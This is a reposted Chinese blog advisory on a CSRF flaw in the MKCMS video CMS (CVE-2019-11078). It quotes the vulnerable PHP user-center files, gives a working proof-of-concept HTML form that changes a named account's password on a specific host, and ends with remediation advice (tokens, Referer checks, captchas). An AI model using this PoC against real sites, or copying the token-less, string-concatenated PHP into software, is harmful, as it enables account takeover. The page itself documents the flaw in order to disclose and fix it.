转载分享:米酷影视CMS后台CSRF漏洞的发现及建议。

一、漏洞摘要

漏洞名称: MKCMS存在CSRF漏洞
上报日期: 2019-04-04
漏洞发现者: cisk
产品首页: https://micool.net/1090.html
软件链接: https://www.lanzous.com/i2ipcre
版本: V5.0
CVE编号: CVE-2019-11078
紧急解决方法:把ucenter目录删除,这样会员功能失效。

二、漏洞概述

以米酷6.0为例:

CSRF: ucenter/userinfo.php

-----------------------

<?php include('../system/inc.php');
if(!isset($_SESSION['user_name'])){
alert_href('请登陆后进入','login.php');
};
if ( isset($_POST['save']) ) {
null_back($_POST['u_password'],'请填写登录密码');
$result = mysqli_query($conn,'select * from mkcms_user where u_name="'.$_SESSION['user_name'].'"');
    if($row = mysqli_fetch_array($result)){
if ($_POST['u_password'] != $row['u_password']) {
$_data['u_password'] = md5($_POST['u_password']);
}
else{
$_data['u_password'] = $_POST['u_password'];
}
}

$_data['u_email'] = $_POST['u_email'];
$_data['u_phone'] = $_POST['u_phone'];
$_data['u_qq'] = $_POST['u_qq'];
$sql = 'update mkcms_user set '.arrtoupdate($_data).' where u_name="'.$_SESSION['user_name'].'"';
if (mysqli_query($conn,$sql)) {
alert_href('修改成功!','userinfo.php');
} else {
alert_back('修改失败!');
}
}
?>
------------------------

CSRF: ucenter/active.php,等等有好几个文件……

------------------------------------

<?php
include('../system/inc.php');
$verify = stripslashes(trim($_GET['verify']));
$nowtime = time();
$query = mysqli_query($conn,"select u_id from mkcms_user where u_question='$verify'");
$row = mysqli_fetch_array($query);
if($row){
echo $row['u_id'];
$sql = 'update mkcms_user set u_status=1 where u_id="'.$row['u_id'].'"';
if (mysqli_query($conn,$sql)) {

alert_href('激活成功!','login.php');
}
}else{
$msg = 'error.';
}
echo $msg;

?>


-------------------------------

post请求中没有带token,也没有验证Referer,导致产生csrf漏洞



三、利用方法
构造如下poc.html,并访问poc.html;将修改lduo123账号的密码

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://v.micool.top/ucenter/userinfo.php" method="POST">
      <input type="hidden" name="u&#95;name" value="lduo123" />
      <input type="hidden" name="u&#95;password" value="123456" />
      <input type="hidden" name="u&#95;phone" value="1314520" />
      <input type="hidden" name="u&#95;qq" value="" />
      <input type="hidden" name="u&#95;email" value="admin&#64;gmail&#46;com" />
      <input type="hidden" name="save" value="" />
      <input type="submit" value="Submit request" />
    </form>    
  </body>
</html>





四、CSRF漏洞的危害及修复建议

利用CSRF漏洞,会对网站以及用户有什么危害呢?
     1. 配合XSS漏洞可造成蠕虫病毒攻击。
     2. 可以更改用户的密码
     3. 更改(商城ecshop等开源程序)用户收货地址
  用户所有可以在网站操作的,黑客都可以利用CSRF漏洞去操作。只需要构造PoC代码,伪造请求
让受害者点击就可以执行漏洞。
    简单点来说,B以A的身份执行了A可以执行的操作,当然,我们这里B是黑客,A是用户。 
CSRF漏洞修复安全建议 
        通过token或者session来判断当前用户身份,检查POST来路Referer,在POST的信息中加
        token机制。 
       用户的一些敏感操作需要验证码,更改密码需要验证之前的老密码。      
       验证HTTP Referer字段      
       在请求地址中添加token并验证
       在HTTP头中自定义属性并验证

防御建议
1、增加验证码机制
2、增加一个随机生成的参数token,后台处理时进行验证

本文标签: 分享 技术
转载声明:本文为七星博客的原创文章,转载请注明原文地址,谢谢合作

发表评论: